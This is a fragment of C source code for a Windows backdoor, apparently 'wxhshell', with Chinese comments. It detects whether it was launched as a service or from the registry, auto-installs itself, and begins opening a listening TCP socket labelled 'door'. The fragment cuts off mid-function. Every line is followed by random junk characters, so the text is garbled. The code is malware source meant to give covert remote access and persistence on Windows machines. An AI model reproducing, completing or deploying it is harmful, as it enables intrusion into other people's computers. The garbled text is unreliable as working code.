DWORD BasePriority; B-~&6D,
ULONG UniqueProcessId; p},Fwbl
ULONG InheritedFromUniqueProcessId; .G_3blE;
} PROCESS_BASIC_INFORMATION; M#cr*%
l>UUaf|O
PROCNTQSIP NtQueryInformationProcess; GeaDaYh#T
0Mu8ZVI{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o$ce1LO?|N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KF_Wu}q
d
^A[`NYK
HANDLE hProcess; '98h<(@]
PROCESS_BASIC_INFORMATION pbi; ~{vdP=/WP
MgQU6O<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HD)HCDTX
if(NULL == hInst ) return 0; ~J-|,ZMd
5;
PXF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $XQxWH|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |NU0tct^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qysa!B
#a | ch6B
if (!NtQueryInformationProcess) return 0; kLVn(dC "
paNw5]
-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HS:}![P
if(!hProcess) return 0; kr(<Y|
%W4aKb?BT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E^ok`wfO
8RAeJ~e
CloseHandle(hProcess); 8M|)ojH
2ly,l[p8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *fl{Y(_OO
if(hProcess==NULL) return 0; 6#)Jl
T_x+sv=|X!
HMODULE hMod; @qPyrgy
char procName[255]; As+;qNO
unsigned long cbNeeded; N
2"3~ #
W/r mm*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uR;-eK
48CI8[T
CloseHandle(hProcess); 7p.h{F'A
Ok>(>K<r
if(strstr(procName,"services")) return 1; // 以服务启动 P$3=i`X!nw
VL7S7pb_
return 0; // 注册表启动 C5+`<
} So=nB} b[?
oKYhE
// 主模块 zNny\Z
int StartWxhshell(LPSTR lpCmdLine) M7DLs;sD
{ FGwnESCC
SOCKET wsl; .ts0LDk0f
BOOL val=TRUE; 'xbERu(Y
int port=0; A6N~UV*_
struct sockaddr_in door; AzW7tp;t=
qEJ8o.D-=
if(wscfg.ws_autoins) Install(); u\XkXS`
8pPC 9ew\=
port=atoi(lpCmdLine); ^.#X<8hr
3kiE3*H
if(port<=0) port=wscfg.ws_port; 9Yl8ndP^E
/S]:dDY9K
WSADATA data; [vWkAJ'K
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `pi-zE)
t0bhXFaiE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; abo>_"9-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~`2&'8
door.sin_family = AF_INET; u`Z0{d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [v0ri<